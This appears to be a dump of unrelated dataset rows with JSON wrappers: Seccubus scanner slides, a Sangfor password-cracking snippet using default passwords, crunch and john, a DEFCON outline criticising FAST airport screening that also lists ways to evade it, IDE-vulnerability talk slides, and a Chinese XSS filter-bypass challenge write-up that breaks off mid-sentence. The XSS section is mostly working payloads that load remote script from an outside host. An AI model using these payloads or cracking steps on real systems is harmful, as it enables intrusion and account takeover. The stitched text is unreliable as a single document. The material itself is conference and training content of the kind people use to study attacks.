servers\nMolecular Science Computing Facility in Richland, Washington\n»\n4800+ nodes\nGlobal provider of air defense, air traffic control, airline and airport operations management, and data integration \nand distribution\n»\nApprox 450 hosts\nOthers:\n»\nDutch ISP\n»\nTreasury Software as a Service provider\n»\nDutch and US IT service providers\n»\nBacardi\n»\nBink.nu – Windows technology blog\n»\n2 Dutch IT security firms\n»\nDutch multimedia company\nRecap…\nMonthly scanning with Nessus would mean:\n»\nGetting up a night to manually start the scans\n»\nLooking at non-informative findings (e.g. traceroute) every month\n»\nA lot of boring repetative work, high change of errors\n»\nA lot of work even if there are no changes to the infrastructure\nSo…\nMonthly Seccubus runs means:\n»\nScans are scheduled via crontab\n»\nOnly the findings that need attention get it\n»\nLess errors due to less repetitave work.\n»\nThe amount of effort is proportional to the amount of changes\n»\nRisk is proportional to the amount of changes\nCompare\nImage: Apples & Oranges - They Don't Compare, a Creative Commons \nAttribution (2.0) image from thebusybrain's photostream\nDramatic reduction\n1 augustus 2010\nImage: Slimmer, a Creative Commons Attribution Non-Commercial \nNo-Derivative-Works (2.0) image from mkmabus's photostream\nWhy did we develop and release an open source tool?\nWe needed it!\nWe decided to give something back because we use a lot of open source tools:\n»\nNagios\n»\nCFEngine\n»\nRancid\n»\nMRTG\n»\nRRD tool \n»\nCacti\n»\n“LAMP”\n»\nCVS \n»\n……\nRoadmap...\nWhat is up for next versions of Seccubus?\nHave a database backend\n»\nBetter performance\n»\nEasier to link multiple findings to a single \nissue\n»\nEasier to link a single finding to multiple \nissues\nSupport more scanners\n»\nNikto (v1.5)\n»\nNMAP (v2.0)\n»\nMetasploit/Metasploit express (v2.1)\n»\nOthers ?\nOpen architecture:\n»\nMore scanners can be added\n»\nPluggable authentication?\n»\nTrouble ticket integration?\nMore “manager” information:\n»\nGraphs\n»\nDashboards\nThe ultimate goal…\n1 augustus 2010\nImage: StuttgargoalRobin, a Creative Commons Attribution \n(2.0) image from dankamminga's photostream\nWe need your help…\n»\nCoding\n»\nRequirements\n»\nUser interface design\n»\nReport design\n»\nTesters\n»\nUsers\n1 augustus 2010\nImage: Hang On, a Creative Commons Attribution Non-Commercial No-\nDerivative-Works (2.0) image from brraveheart's photostream\nMetasploitExpress\nRoadmap...\nWhat is up for next versions of Seccubus?\nHave a database backend\n»\nBetter performance\n»\nEasier to link multiple findings to a single \nissue\n»\nEasier to link a single finding to multiple \nissues\nSupport more scanners\n»\nNikto (v1.5)\n»\nNMAP (v2.0)\n»\nMetasploit/Metasploit express (v2.1)\n»\nOthers ?\nOpen architecture:\n»\nMore scanners can be added\n»\nPluggable authentication?\n»\nTrouble ticket integration?\nMore “manager” information:\n»\nGraphs\n»\nDashboards\nNew release\nThe DefCon edition\nNikto scanning\n»\nNikto version 2.1.3 supports .nbe output\n»\nNikto can be launched natively from the box running \nSeccubus\n»\nEach line in the Nikto output becomes a finding in Seccubus\nInstallation package\nVersion 1.5 can be installed via an RPM \npackage\nImage: Revs Per Minute, a Creative Commons \nAttribution (2.0) image from msvg's photostream\nCompliance\nSeccubus v1.5 can handle Nessus\ncompliance jobs\nNikto scanning\n»\nNikto version 2.1.3 supports .nbe output\n»\nNikto can be launched natively from the box running \nSeccubus\n»\nEach line in the Nikto output becomes a finding in Seccubus\nSeccubus.com\nQuestions?\nImage: What now?, a Creative Commons Attribution No-\nDerivative-Works (2.0) image from laurenclose's photostream\nWho am I?\nFrank Breedijk\n»\nSecurity Engineer at Schuberg Philis\n»\nAuthor of Seccubus\n»\nBlogger for CupFigther.net\nEmail: \nfbreedijk@schubergphilis.com\nTwitter:\n@Seccubus\nBlog:\nhttp://cupfighter.net\nProject:\nhttp://www.seccubus.com\nCompany:\nhttp://www.schubergphilis.com\nPhoto taken by Arthur van Schendel"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":95,"cells":{"text":{"kind":"string","value":"\n\n\n\nsslssh \n0x00 \n0x01 \n\n\n\n0x02 \n\nSangforDlan\nsangfor123\n123456\nSangfor123\n\ncrunch 5 5 -t ^%%%% -o wordlist2.txt\ncat wordlist2.txt | sed -e 's/^/admin/' > output.txt\njohn --wordlist=output.txt shadow \n0x03 \n\n\n\n\n\n0x04"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":96,"cells":{"text":{"kind":"string","value":"Why Airport Security Can’t Be Done FAST\nSemon Rezchikov, Joshua Engelman, Morgan Wang\nHi, DEFCON 19!\nHere, we’ve compiled an outline of a small portion of the information we found and a detailed \nlist of our sources in case you’re interested in reading more about the FAST program. (Or \nabout MALINTENT or Hostile Intent or SPOT or whatever else.) We thought you’d find this \nmore useful than the slides to our presentation, as (if you recall) we presented most of the \ninformation verbally, using the slides only as a visual counterpoint. In fact, our slides are mostly \ncute pictures of bunnies and puppies and trailers and TSA agents, which works great during \nDEFCON but isn’t so great if you want to continue research outside of it.\nOur sources are broken up as follows: The articles on SPOT, Criticism of FAST, the legality of \nFAST, base rate fallacy, articles on FAST, Government Documents, and Information on SDS, \nthe Israeli version of FAST. All of the documents are in the public domain and can be found \nusing some creative Googling. \n- Semon, Morgan and Josh\nOutline\nFAST - Future Attribute Screening Technology\nRun by DoD’s Behavioral Research Unit\nA series of rooms that use biometric scanners analyze your physiological signs while someone \nquestions you try to detect whether someone passing through the FAST system intends to blow \nsomething up - Pretty much a polygraph test on steroids\nPeople: Check out http://www.dhs.gov/files/programs/gc_1218480185439.shtm\nIt seems that FAST is being developed at Draper Labs (so the trailers indicate)\nRelations of various projects to each other:\nProject MALINTENT: the overarching project to detect malintent\nHostile Intent: The actual technology that can detect malintent\nFAST: a trailer with a packaged, practically usable form of malintent detection technology\nHistory:\nPaul Ekman did a lot of research into faces and is known for his work on \nmicroexpressions. (He’s the guy the TV show Lie to Me is based on) He believes that things like \ndetecting deception through face-reading can be made reliable through proper training.\nSPOT (Screening of Passengers by Observational Training) is a program largely based \non Ekman’s research (he did a lot of the initial training for the program himself!) which trains \nsome TSA agents in Ekman’s face-reading curriculum. These “Behavioral Detection Officers” \ncan then be called in to interrogate people. There seems to be no evidence that the program \nhas ever led to the conviction of a terrorist; all of it’s convictions seem to be related to other \ncrimes like drug dealing. They may also be simply chance; they process quite a few people. The \nprogram has cost more than $212 million PER YEAR since it’s inception, and the Obama \nadministration wants to raise this to $232 million for 2011.\nHow FAST works:\nA person enters a FAST trailer, say, in the airport.\nWhile they are being scanned by the following sensors:\n“BioLIDAR” for cardiovascular/respiratory data; infrared camera for stress; normal \ncamera for pupil dilation, reddening, and facial expressions; motion detectors for gait \nanalysis\nthey are asked a set of questions (like “Are you planning to detonate a bomb in this airport?”). If \nthe machine flags them as suspicious, they have to go through it again. If they are flagged \nagain, they may be taken away for questioning, or even arrested. \nIssues:\nFalse positives:\nBecause this is a system that processes large numbers of people it must have a VERY \nLOW FALSE POSITIVE RATE. Even a rate of 0.1% is terrible because of the tremendous \namount of travelers; the system would arrest many, many, many innocent people because \nterrorists are so incredibly rare. The FAST false positive rates seem to between 1% and 17%, \ndepending on which source you look at. \nResearch methodology:\nSubjects were told to act “shifty and evasive” - not a great way of calibrating your \ninstruments when you are trying to detect fine biometric differences. Essentially, the subjects \nare being told something like “Pretend you are a terrorist when you go through this apparatus.”\nWe do not know what sort of populations they have been calibrating baseline biometric \nmeasurements to. People who are sick can have very abnormal baselines.\nHacks:\nGet someone who is normally sick to commit the crime. Certain types of heart \narrhythmia and similar illnesses that screw up biometrics may pose an issue to the system. \nBeta-blockers can artificially baseline you - they bring people to an emotional midline. \nLegal -- Fast and the Fourth Amendment:\nIn 2010 Lindsey Gil wrote an article for the Boston University Journal of Science and \nTechnology Law. In this article, Gil presents the main types justifications for searches without a \nwarrant. http://www.bu.edu/law/central/jd/organizations/journals/scitech/volume162/documents/\nGil_WEB.pdf\nThe Plain View Doctrine\nEyes, Smell, and “sense enhancing tools” (like aerial surveillance and drug \nsniffing dogs, are acceptable (Coolidge v. New Hampshire, Cupp v. Murphy, and Horton v. \nCalifornia)\nThermal imaging cameras to see what’s happening in your home are not \nacceptable. (Kylio v. The US)\nAdministrative Search Exception\nA search which is “conducted as part of a regulatory scheme with a defined \nadminstrative goal, rather than targeted at a specific individual.” (United States v. Davis)\nCurrent airport security falls under this exception. \nMedical Privacy Laws\nThe US has very strict medical patient confidentiality laws. As FAST consists of \nmany aspects of a medical exam, one could argue that the gathering of such personal medical \ninformation is a violation of medical privacy laws.\nIn conclusion, it is highly likely that FAST would make it through any initial government legality \ncheck. (this is the Government we’re talking about), however a team of good lawyers could \neasily put up a strong case against it. \nSuspect Detection Systems: a private Israeli outfit that is developing a biometrics system similar \nin goal if not in size and scope called Cogito. They have published their results. \nSources\nSPOT: Links\nWeinberger, S. (2010, May 26). Airport Security: Intent to Deceive?. Nature, 456, 412-415.\nhttp://www.nature.com/news/2010/100526/full/465412a.html\nMalkin, M. (2011, April 8). See SPOT FAIL. The National Review Online. Harwood, M. (2010, \nMay 21). http://www.nationalreview.com/articles/264214/see-spot-fail-michelle-malkin\nTerrorists Slip Past TSA's Scientifically Untested Behavioral Threat Detection Program. Security \nManagement. Retrieved from http://www.securitymanagement.com/print/7158\nHarwood M. (2010, December 23). $385 Million TSA Program Fails to Detect Terrorists. \nTruthout, Retrieved from http://archive.truthout.org/385-million-tsa-program-fails-detect-\nterrorists66213\nCBS News. (2009, October 8). TSA Screening is Security Theater. 60 Minutes. Retrieved \nfrom http://www.cbsnews.com/stories/2008/12/18/60minutes/main4675524_page4.shtml?\ntag=contentMain;contentBody\nKeteyian, Armen. (2010, May 20). TSA's Program to SPOT Terrorists a $200M Sham? \nCBS News. Retrieved from http://www.cbsnews.com/stories/2010/05/19/eveningnews/\nmain6500349.shtml\nCriticism:\nProtecting Individual Privacy in the Struggle Against Terrorists: a framework for program \nassessment. (2008). Washington, DC.: National Academic Press. epic.org/misc/\nnrc_rept_100708.pdf\nMeijer, E. (2009). A Call for Evidence-Based Security Tools. Open Access Journal of \nForensic Psychology, 1(1) 1-4. http://web.me.com/gregdeclue/Site/Volume_1__2009_files/\nMeijer%202009.pdf\nBBC. (2009, July 6). Go Figure: Different Ways of seeing stats. BBC Magazine. Retrieved from \nhttp://news.bbc.co.uk/2/hi/uk_news/magazine/8153539.stm\nAppelbaum, P. S., M.D. (2007) Law & Psychiatry: The New Lie Detectors: Neuroscience, \nDeception and the Courts. Psychiatric Services, 58, 460-462. http://ps.psychiatryonline.org/cgi/\nreprint/58/4/460.pdf\nGreenwald, H., & Heckman, K. (2010). Deception: The Quest for Detection. MITRE's Envision, \n2, 6-7. http://www.mitre.org/news/envision/winter_10/greenwald_heckman.html\nAikins, D.E., Martin, D.J., & Morgan, C. A. III. (2010) Decreased Respiratory Sinus Arrhythmia in \nIndividuals with Deceptive Intent., Psychophysiology, 47(4), 663-6 http://www.ncbi.nlm.nih.gov/\npubmed/20230501\nLegality\nGill, L. (2010). Bad Intent of Just a Bad Day? Fourth Amendment Implications Raised by \nTechnological Advances in Security Screening. B.U. J. SCI & TECH Law, 16(2). http://\nwww.bu.edu/law/central/jd/organizations/journals/scitech/volume162/documents/Gil_WEB.pdf\nBase Rate Fallacy\nHeuer, R. J, (1999). Psychology of Intelligence Analysis. Washington, D.C: Center for the Study \nof Intelligence, Central Intelligence Agency. https://www.cia.gov/library/center-for-the-study-\nof-intelligence/csi-publications/books-and-monographs/psychology-of-intelligence-analysis/\nindex.html\nFAST\nBarrie, A. (2008, September 23). Homeland Security Detects Terrorist Threats by Reading \nYour Mind. Foxnews.com, Retrieved from http://www.foxnews.com/printer_friendly_story/\n0,3566,426485,00.html\nEaton, K. (2008, September 24). Homeland Security's 'Hostile Thoughts' Detection System \nDubbed FAST, Not Pre-Crime. Gizmodo. Retrieved from http://gizmodo.com/5054119/\nhomeland-securitys-hostile-thoughts-detection-system-dubbed-fast-not-pre+crime\nCheung, H. (2008, September 24). Homeland Security testing 'mind-reading' checkpoints. \nTG Daily, Retrieved from http://www.tgdaily.com/technology/39464-homeland-security-\ntesting-‘mind-reading’-checkpoints\nMarks, P. (2008, September 23). 'Pre-Crime' detector shows promise. New Scientist, Retrieved \nfrom http://www.newscientist.com/blogs/shortsharpscience/2008/09/precrime-detector-is-\nshowing-p.html\nUnderhill, K. (2008, November 19). DHS Says Scanners Successfully Detect \"Mal-Intent\". \nLowering the Bar. Retrieved from http://www.loweringthebar.net/2008/11/dhs-testing-hos.html\nSegura, L. (2009, December 9). Homeland Security Embarks on Big Brother Programs to Red \nour Minds and Emotions. Alternet, Retrieved from http://www.alternet.org/story/144443/\nCherry, S., & Corley, A. (2010, January). Loser: Bad Vibes. IEEE Spectrum. Retrieved from \nhttp://spectrum.ieee.org/computing/embedded-systems/loser-bad-vibes\nKahn, M. (2009, October 12). How Things Work: Future Attribute System Technology. The \nTartan, Retrieved from http://thetartan.org/2009/10/12/scitech/howthingswork\nGovernment Documents:\nRubin, Philip E. Ph D. Interview by Subcommittee on Investigations and Oversight Committee \non Science Space and Technology, U.S. House of Representatives. 2011, April 6. http:/\n/science.house.gov/sites/republicans.science.house.gov/files/documents/hearings/\n2011%2004%2001%20RubinTestimony.pdf\nU.S. Homeland Security. DHS Privacy Office. (2009). Annual Report to Congress 2008-2009. \nWashington, DC: U.S. Government Printing Office. http://www.dhs.gov/xlibrary/assets/privacy/\nprivacy_rpt_annual_2009.pdf\nU.S. Homeland Security. Human Factors Division: Social-Behavioral Threat Analysis-EAST \n(2008). S&T Annual Stakeholders Conference. Washington, DC. http://www.dtic.mil/ndia/\n2008homest/hsre.pdf\nU.S. Homeland Security. Human Factors Division: Social-Behavioral Threat \nAnalysis-WEST (2008). S&T Annual Stakeholders Conference. Washington, \nDC. http://www.dtic.mil/ndia/2008hls/Breakouts/511AWed/\nbreakout23HFDSocialBehavioralThreatAnalysisResearch_LAstakehold.pdf\nU.S. Homeland Security. Office of Innovation/Human Factors Division. (2007). S&T \nAnnual Stakeholders Conference. Washington, DC. http://www.homelandsecurity.org/\nStakeholdersMay07/Br40_Burns.pdf\nRobert, B. P. (Science and Technology Directorate.). (2008, December 15). Privacy Impact \nAssessment for the FAST Project. Washington DC. http://www.dhs.gov/xlibrary/assets/privacy/\nprivacy_pia_st_fast.pdf\nU.S. Homeland Security. Science and Technology. (2007, February 1). \nBroad Agency Announcement FAST Demonstration Laboratory. Washington, \nDC. http://www.wired.com/images_blogs/threatlevel/files/001_BAA07-\n03A_FutureAttributeScreeningTechnologyFASTDemonstrationLaboratory.pdf\nBurgoon, J. K. Ed. D. (2004, March 19) Automated Detection of Deception and Intent. \nwww.apa.org/about/gr/science/advocacy/2004/burgoon.ppt\nWalker, Starnes. (Director of Research) U.S. Homeland Security. Science and Technology \nDirectorate. (n.d.) DHS Science and Technology: Enabling Technology to Protect the Nation. \nWashington, DC. \nwww.ametsoc.org/boardpges/cwce/docs/2007-03/.../WalkerStarnes.pps\nDepartment of Homeland Security. (2008, July 24). Department of Homeland Security \nMeeting: Implementing Privacy Protections in Government Data Mining. http://www.dhs.gov/\nxlibrary/assets/privacy/privacy_datamining_July24_2008_minutes.pdf\nSuspect Detection Systems\nCrane, D. Cogito1002 Terrorist Detection System: The Future of Airport Security Defense \nReview. Retrieved from http://www.suspectdetection.com/DefenseReview.html\nKarp, J., & Meckler, L. (2006, August 14). Which Travelers Have 'Hostile Intent'? Biometric \nDevice May Have the Answer. Wall Street Journal. Retrieved from http://online.wsj.com/\npublic/article/SB115551793796934752-dM6lGSA11wU84eqSiLRwgCPR2ac_20060912.html?\nmod=tff_main_tff_top"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":97,"cells":{"text":{"kind":"string","value":"Worming through IDEs\nDavid Dworken\n`whoami`\n●\nDavid Dworken (@ddworken)\n●\nSecurity Engineer at Google\n○\nStandard disclaimer: Opinions expressed are my own\n●\nHacking in both senses of the word\n○\nWriting silly useless but interesting code\n○\nBreaking serious real code for fun\n●\nI found and reported 30+ bugs in IDEs over a few month period\n○\nNote: All bugs in this presentation have either been fixed or declared \nworking-as-intended\nWhy hack developers? \nProduction\nWhy hack developers? \nProduction\nWhere developers think the security boundary is \nWhere developers think the security boundary is \nWhere IDEs (used to) think the security boundary is \nIDEs are popular!\nhttps://insights.stackoverflow.com/survey/2019#technology-_-most-popular-development-environments\nVS Code: Trusting Workspace Settings\nhttps://code.visualstudio.com/docs/getstarted/settings\nVS Code: Trusting Workspace Settings\nStrace is amazing! \nhttps://strace.io/\nFinding bugs with Strace\n●\nFiles that don't exist: `cat /tmp/strace.out | grep ENOENT`\n○\nOftentimes files that don't exist can be used to tweak a configuration and achieve code execution\n●\nFiles that are accessed: `cat /tmp/strace.out | grep open`\n○\nKnowing what files are accessed in what order can hint at how a program is processing the input\n●\nCommands that are run: `cat /tmp/strace.out | grep exec`\n○\nLook for command injection \n○\nLook for ways to achieve code execution using the launched programs (e.g. `__init__.py` files)\nVS Code: Locally resolved node_modules folder\nVS Code: Command Injection\nhttps://github.com/microsoft/vscode/blob/c23285f8c8b73228af4cce81721db105542c0cae/extensions/npm/src/features/packageJSONContribution.ts#L258\nVisual Studio: Build Configs\nhttps://docs.microsoft.com/en-us/cpp/build/cmake-projects-in-visual-studio\nNote: Visual Studio != Visual Studio Code\nVisual Studio: Build Configs\nhttps://docs.microsoft.com/en-us/cpp/build/cmake-projects-in-visual-studio\nNote: Visual Studio != Visual Studio Code\nVisual Studio: Build Configs\nhttps://docs.microsoft.com/en-us/cpp/build/cmake-projects-in-visual-studio\n\"This is by design, and there is no way to view scripts in \nVisual Studio without also executing them\" -Microsoft\nNote: Visual Studio != Visual Studio Code\nVisual Studio: Similar vuln used in the wild!\nhttps://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/\nVisual Studio: Similar vuln used in the wild!\nhttps://twitter.com/daveaitel/status/1353876096136179718\nIntelliJ Vuln: RCE in 2016\nhttp://blog.saynotolinux.com/blog/2016/08/15/jetbrains-ide-remote-code-execution-and-local-file-disclosure-vulnerability-analysis/\nUser visits\nevil.com\nIntelliJ\nOpen Project\nevil.com\nDownloads a project\nStartup \nTask\nExecute\nIntelliJ Vuln: RCE in 2016\nhttp://blog.saynotolinux.com/blog/2016/08/15/jetbrains-ide-remote-code-execution-and-local-file-disclosure-vulnerability-analysis/\nIntelliJ Vuln in 2020: Same Vector as 2016\nIntelliJ Vuln in 2020: Same Vector as 2016\n\"However we haven't decided what the fix should be as here \nwe need to make a trade-off between security and \nconvenience\" -Jetbrains\nVIM Vuln from 2019\nhttps://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md\nNotepad Vuln from 2019\nhttps://twitter.com/taviso/status/1133384839321853954\nOnline IDEs\n●\nGoogle Cloud Shell\n●\nAzure Visual Studio Codespaces\n●\nAWS Cloud9\n●\nGithub Codespaces\n●\nGitpod.io\nOnline IDEs\n●\nGoogle Cloud Shell\n●\nAzure Visual Studio Codespaces\n●\nAWS Cloud9\n●\nGithub Codespaces\n●\nGitpod.io\nGoogle Cloud Shell: Ruby Language Server \nhttps://github.com/castwide/solargraph/blob/96bce20d6f3757276b247636895ff0faebf646ad/lib/solargraph/workspace.rb#L165-L173\nGoogle \nCloud Shell\nEclipse Theia\nTheia Ruby \nExtension\nSolargraph\nGoogle Cloud Shell: Ruby Language Server \nhttps://github.com/castwide/solargraph/blob/96bce20d6f3757276b247636895ff0faebf646ad/lib/solargraph/workspace.rb#L165-L173\nGoogle \nCloud Shell\nEclipse Theia\nTheia Ruby \nExtension\nSolargraph\nGoogle Cloud Shell: TypeScript Language Server \nhttps://github.com/castwide/solargraph/blob/96bce20d6f3757276b247636895ff0faebf646ad/lib/solargraph/workspace.rb#L165-L173\nAWS Cloud9: Linting Flags\nGithub Codespaces: Persisting via Settings Sync\nhttps://github.com/features/codespaces\nGithub Codespaces: Persisting via Settings Sync\nhttps://github.com/features/codespaces\nGithub Codespaces: Persisting via Settings Sync\nhttps://github.com/features/codespaces\nWriting a worm\nRepo 1\nRepo 2\nRepo 3\nRepo 4\nDemo\nDefenses\nhttps://code.visualstudio.com/docs/editor/workspace-trust\nThank you! \n●\nThank you to Amazon, Eclipse, Github, Gitpod, Google, Jetbrains, Microsoft for \nworking with me to address all of these bugs! \n●\nPOCs: github.com/ddworken/ide-worm \n●\nSlides: daviddworken.com/worming-through-ides.pdf\n●\nInspiration: \nhttps://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-introduction/\n●\nContact Me!\n○\ndavid@daviddworken.com\n○\ntwitter.com/ddworken\n○\nkeybase.io/dworken\n○\nlinkedin.com/in/ddworken/"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":98,"cells":{"text":{"kind":"string","value":"xss 修炼之-独孤九剑\n香草 2020-05-31 共 170 人围观 WEB 安全编辑\n缘起\n群里某个同学在 xss 实战中遇到了一个地方过滤了 =() 问我怎么办？\n当然这个问题很简单，我很快在脑海里想出了好几种方法。当时我当时就像着魔似的问\n自己如果同时过滤 =(). 又怎么办呢？\n很快又有了办法，如果同时又过滤了 =().%呢？\n同时过滤 =().&#\\ 呢？\n…..\n于是便有了这次 《xss 修炼之-独孤九剑》\n我先出了第一题，也就是那个同学遇到的场景，当然每道题出来的时候我肯定需要先完\n成，出题之前我也是没把握的。\n<?php\n$data=$_GET['data'];\n$data = str_replace(\"=\",\"\",$data);\n$data = str_replace(\"(\",\"\",$data);\n$data = str_replace(\")\",\"\",$data);\n?>\n<html>\n<head>\n<meta charset=\"utf-8\">\n<title>独孤九剑-第一式</title>\n</head>\n<body>\n<h2>过滤了 =()，少侠骨骼惊奇，必是练武奇才</h2>\n<h2>要求加载任意 JS 代码,成功加载 http://xcao.vip/xss/alert.js 表示完成挑战</h2>\n<input type=\"text\" value=\"<?php echo $data;?>\">\n</body>\n</html>\nhttp://xcao.vip/test/xss1.php?data=1\n当时我想到的解法是\n独孤九剑第一式：\n这里过滤了 =()\nhttp://xcao.vip/test/xss1.php?data=%22%3E%3Csvg%3E%3Cscript%3E%26%23x65%3B%26%2\n3x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3\nB%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23\nx68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%\n26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x2\n9%3B%3C/script%3E%3C/svg%3E#with(document)body.appendChild(createElement('scrip\nt')).src='http://xcao.vip/test/alert.js'\n解码后就是这样，这里是因为在 svg 下面的 script 可以使用 html 编码，利用 html 编码绕过=()\n的过滤\nhttp://xcao.vip/test/xss1.php?data=\"><svg><script>eval(\nlocation.hash&\n#x2e;slice(1))</script></svg>#with\n(document)body.appendChild(createElement('script')).src='http://127.0.0.1/xss/a\nlert.js'\n独孤九剑第二式：\n这里过滤了 =(). 新增了.的过滤\n利用 setTimeout 以及``代替括号，同时采用\\u 编码绕过对()和.的限制\nhttp://xcao.vip/test/xss2.php?data=xxx%22%3E%3Cscript%3EsetTimeout`\\u0065\\u0076\n\\u0061\\u006c\\u0028\\u006c\\u006f\\u0063\\u0061\\u0074\\u0069\\u006f\\u006e\\u002e\\u0068\\\nu0061\\u0073\\u0068\\u002e\\u0073\\u006c\\u0069\\u0063\\u0065\\u0028\\u0031\\u0029\\u0029\n`;%3C/script%3E#with(document)body.appendChild(createElement('script')).src='ht\ntp://xcao.vip/xss/alert.js'\n其实第一题和第二题完全可以合成一个题，因为我当时想到的第一个解法是需要用到.\n号的所以就保留了下来。\n既然第一式和第二式用到了 & # \\ 那我把它干掉，为了补偿把 = 还给你，你能怎样\n于是有了\n独孤九剑第三式：\n过滤了 ().&#\\ 注意和第二题的不同，放开了=的过滤，新增了&#\\的过滤\n内心的想法，过滤了&#\\ 那么第一和第二种解法都不适用了，怎么办？\n还好没有过滤=了，我是不是可以直接用 script 加载，然后利用%2e URL 编码绕过对点号的过滤呢？\nhttp://xcao.vip/test/xss3.php?data=%22%3E%3Cscript%20src=http://xcao%252evip/xs\ns/alert%252ejs%3E%3C/script%3E\n既然三种方法都可以绕过，那我把三者的过滤规则中和一下，你就没办法了吧？嘿嘿嘿\n于是有了\n独孤九剑第四式：\n过滤了 =().&#\\\n这题我思考了很久，我甚至一度认为这样没法利用了，原来独孤九剑只有四式……\n受到第三式的启发，其他不能用但是我们%编码还能用啊！（事实证明，我自己把我自己带坑里了）\n带着这个思路，最后我想到了一个 javascript 伪协议+URL 编码的方法\n使用 location.replace 方法引入 javascript 协议，由于 location.replace 里面的参数是连接，\n里面必然可以使用 URL 编码，因此顺利绕过\n把().分别用 %2528 %2529 %252e 编码，因为 location 是 URL,因此后自动解码 URL 编码。\nhttp://xcao.vip/test/xss4.php?data=%22%3E%3Cscript%3Elocation[%27replace%27]`ja\nvascript:eval%2528eval%2528location%252ehash%252eslice%25281%2529%2529%2529`%3C\n/script%3E#with(document)body.appendChild(createElement(/script/.source)).src='\nhttp://xcao.vip/xss/alert.js'\n解码后\nhttp://xcao.vip/test/xss4.php?data=\"><script>location['replace']`javascript:eva\nl%28eval%28location%2ehash%2eslice%281%29%29%29`</script>#with(document)body.ap\npendChild(createElement(/script/.source)).src='http://xcao.vip/xss/alert.js'\n既然四种方法都可以绕过，而且还用到%编码，那我把%过滤了吧，你就没办法了吧？\n嘿嘿嘿嘿\n但是转念一想，要是真的过滤的完不成了怎么办？那我作为补偿开放=的过滤吧。\n于是有了\n独孤九剑第五式：\n过滤了 ().&#\\% 这里和第四题的区别是新增了%的过滤，同时不再过滤=\n因为和第三题比较只是多了一个%的过滤，因此沿用第三题的思路\n这里想到了一个 IP 十进制的方法，把 IP 地址转换成十进制不就没.了吗。\nalert.js 好处理，可以用自己的一个域名跳转到目标域名，自己域名链接不要带.就行\nhttp://xcao.vip/test/xss5.php?data=%22%3E%3Cscript%20src=http://2067398186/xxx%\n3E%3C/script%3E\n顺利练成第五式，决定挑战一下难度，如果我中和上面的过滤，你就没办法了吧？嘿嘿\n嘿嘿嘿\n于是有了\n独孤九剑第六式：\n过滤了 =().&#\\% 少侠你已经堪称江湖一流高手，武学无止境\n做这道题的时候我遇到了一个 es6 js 模板语法的坑，导致我迟迟不能突破，这个后面细说\n因此只好选择了一个 笨办法 利用 window.write 写入 html，但是大家都知道直接从 hash 里面取\n出的值是 html 实体编码了的\n于是我只好在前面自己构造了一个<img (由于思维定式，我很执着的要用 hash 来保存攻击变量，b\nase64 他不香吗，这里走了不少弯路)\nhttp://xcao.vip/test/xss6.php/?data=%22%3E%3Cscript%3Edocument[%27write%27]`%3C\nimg%20${location[%27hash%27][%27slice%27]`1`}`%3C/script%3E#/src='x'onerror=wit\nh(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/\nalert.js'//\n解码后\nhttp://xcao.vip/test/xss6.php/?data=\"><script>document['write']`<img ${location\n['hash']['slice']`1`}`</script>#/src='x'onerror=with(document)body.appendChild\n(createElement('script')).src='http://xcao.vip/test/alert.js'//\n来自 CNCG 战队同学的答案，可惜没有跨域\nhttp://xcao.vip/test/xss6.php?data=%22%3E%3Ciframe%3E%3C/iframe%3E%3Cscript%3Ef\nrames[0][%22location%22][%22replace%22]`data:text/html;base64,PHNjcmlwdCBzcmM9a\nHR0cHM6Ly9ldmlsNy5jbi90ZXN0L3hzcy5qcz48L3NjcmlwdD4`%3C/script%3E\n顺利练成第六式，既然这都阻止不了你，而且你还用了<>，如果我把这个也过滤了，\n你就没办法了吧？嘿嘿嘿嘿嘿嘿\n于是有了\n独孤九剑第七式：\n过滤了 =().&#\\%<> 恭喜你的境界又高一层，江湖已经罕逢敌手\n第 6 题确实把我折腾惨了，于是我决定理清思路，正视 es6 js 模板语法的问题\n因为直接用 eval“是不行的后面，因此我想到了用[]['constructor']['constructor']`代\n替 eval\n但是我在执行[]['constructor']['constructor']`${location['hash']['slice']`1`}`的时候总\n是报错\n如\n果我在$前面随便添加一个字符就神奇的不报错了\n[]['constructor']['constructor']`b${location['hash']['slice']`1`}`\n既然这样我还是执着的用 hash 保存工具向量\nhttp://xcao.vip/test/xss7.php/?data=1;[]['constructor']['constructor']`a${locat\nion['hash']['slice']`1`}```#with(document)body.appendChild(createElement('scrip\nt')).src='http://xcao.vip/xss/alert.js'\n顺利练成第七式，万万没想到这都阻止不了你，感觉你这个[]和’有用啊，不如我把这\n个也过滤了，你就没办法了吧？嘿嘿嘿嘿嘿嘿嘿\n既然单引号都过滤了，双引号也一起过滤了吧\n于是有了\n独孤九剑第八式：\n过滤了 =().&#\\%<>’”[]，新增’”[]的过滤。 大侠，武学巅峰就在眼前\n没有了[]没法再倔强的用 hash 了，只好妥协用到了 name\n优雅的 name\nhttp://xcao.vip/test/xss8.php/?data=Function`b${name}```\"\n构造如下网页\n<iframe src=\"http://xcao.vip/test/xss8.php/?data=Function`b${name}```\" name=\"wi\nth(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/\nalert.js'\"></iframe>\n另外一个同学利用 base64 也是很赞，不过我的方法看起来就漂亮，哈哈\nhttp://xcao.vip/test/xss8.php?data=Function`b${atob`ZG9jdW1lbnQud3JpdGUoIjxzY3J\npcHQgc3JjPScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`}```\n这也阻止不了你，那我过滤你的{}但是作为补偿，还给你[]的使用，看你还能怎样\n于是有了\n独孤九剑第八-1 式：\n过滤了 =().&#\\%<>’”{}，新增{}的过滤。 放开[]的使用权\n没有了{}就没发使用 js 模板了啊，那我的攻击向量存哪儿呢？\nFunction`name```肯定是不行的\n但是别忘了万能的 伪协议\n优雅的 